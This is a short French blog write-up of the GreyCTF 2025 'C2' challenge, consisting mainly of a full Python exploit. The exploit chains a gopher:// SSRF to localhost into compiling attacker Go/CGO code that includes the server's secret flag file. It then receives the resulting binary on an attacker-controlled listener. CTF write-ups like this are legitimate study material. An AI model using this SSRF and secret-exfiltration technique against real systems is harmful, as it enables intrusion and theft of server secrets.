setup

C2 - Un challenge du GreyCTF de Singapour

Publié le 03/06/2025, 13:15:00

desc

Article minimal par manque de temps, mais la solution mérite d’être retenue. Ce challenge a été résolu après la compétition grâce au writeup de @Jro, l’auteur du challenge.

c2C.py:

#!/usr/bin/env python3
"""
GreyCTF 2025 – C2
Exfiltration du flag en utilisant l’astuce “CGO #define + #include”.

Résumé de l’idée
---------------
* On peut forcer le serveur C2 (qui tourne en tant qu’*admin* sur 127.0.0.1)
  à compiler **notre** code source Go via une SSRF en POST /agent/{id}/execute.
* En CGO, un bloc `/* … */  import "C"` est interprété comme du code C.
* Avec quelques `#define`, on transforme /app/secrets/flag.go lui-même
  en code C valide, puis on affiche le symbole `Flag`.

Résultat : le binaire compilé contient déjà la chaîne du flag, donc on
le lance simplement en local après que le serveur l’a envoyé via PUT /exec.
"""

import argparse, http.server, os, subprocess, threading, time, urllib.parse, requests

##############################################################################
# Écouteur HTTP – enregistre le binaire envoyé par le challenge (PUT /exec)
##############################################################################
class BinReceiver(http.server.BaseHTTPRequestHandler):
    done = threading.Event()

    def do_PUT(self):
        ln = int(self.headers.get("Content-Length", 0))
        with open("exec", "wb") as f:
            f.write(self.rfile.read(ln))
        os.chmod("exec", 0o755)
        print("[+] PUT /exec reçu – binaire sauvegardé ✔")
        self.send_response(204); self.end_headers()
        BinReceiver.done.set()

    def log_message(self, *_): pass

def start_listener(port: int):
    httpd = http.server.HTTPServer(("0.0.0.0", port), BinReceiver)
    threading.Thread(target=httpd.serve_forever, daemon=True).start()
    print(f"[+] Écouteur en ligne sur 0.0.0.0:{port}")
    return httpd

##############################################################################
def register(c2: str, payload: dict) -> str:
    """POST /register – retourne l’UUID de l’agent (ou lève une exception)."""
    r = requests.post(f"{c2.rstrip('/')}/register", json=payload, timeout=15)
    r.raise_for_status()
    return r.text.strip()

##############################################################################
def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--c2",        required=True, help="URL de base du challenge")
    ap.add_argument("--attacker",  required=True, help="hôte public (sans schéma)")
    ap.add_argument("--port", type=int, default=80)
    args = ap.parse_args()

    public_host = args.attacker.lstrip("http://").lstrip("https://")
    start_listener(args.port)

    # 1. Enregistrement d’un faux agent – on récupère un UUID
    uuid = register(args.c2, {"agentUrl": f"http://{public_host}:{args.port}",
                              "computerName": "star-lord"})
    print(f"[+] UUID de l’agent : {uuid}")

    # 2. Génération du payload Go + CGO qui affiche le flag
    go_src = r'''package main
/*
#define package
#define secrets
#define var char*
#include "/app/secrets/flag.go"
#include <stdio.h>
void printflag(){ puts(Flag); }
*/
import "C"
func main(){ C.printflag() }
'''

    body = go_src.encode()

    # Requête HTTP brute que l’URL gopher:// va rejouer vers 127.0.0.1:8080
    raw = (f"POST /agent/{uuid}/execute HTTP/1.1\r\n"
           f"Host: 127.0.0.1:8080\r\n"
           f"Content-Type: text/plain\r\n"
           f"Content-Length: {len(body)}\r\n\r\n").encode() + body

    gopher = "gopher://localhost:8080/_" + urllib.parse.quote_from_bytes(raw, safe="")
    print("[*] Payload SSRF généré (longueur gopher :", len(gopher), ")")

    # 3. Déclenchement de la SSRF – 400 Bad Request est OK (curl échoue exprès)
    try:
        register(args.c2, {"agentUrl": gopher, "computerName": "star-lord"})
    except requests.exceptions.HTTPError:
        print("[*] SSRF envoyée (échec attendu côté curl serveur)")

    # 4. Attente (max 60 s) de réception du binaire
    if not BinReceiver.done.wait(60):
        print("[!] Abandon – aucun binaire reçu du serveur")
        return

    # 5. Lecture directe du flag depuis le binaire
    print("[*] Scan de ./exec pour extraire le flag …")
    with open("exec", "rb") as f:
        blob = f.read()

    import re
    m = re.search(rb"grey\{[^}]+\}", blob)
    if not m:
        print("[!] Pattern du flag introuvable")
        return

    flag = m.group().decode()
    print("\n🎉  FLAG :", flag, "\n")

if __name__ == "__main__":
    main()

J'ai utilisé ngrok pour faire office d’intermédiaire pour le C2 (serveur contrôlé par l’attaquant). setup

starlord-profile

Star-Lord - Développeur d'entreprises en lignes


Synthweb.ch - création de site web en Suisse, LinkedIn, Instagram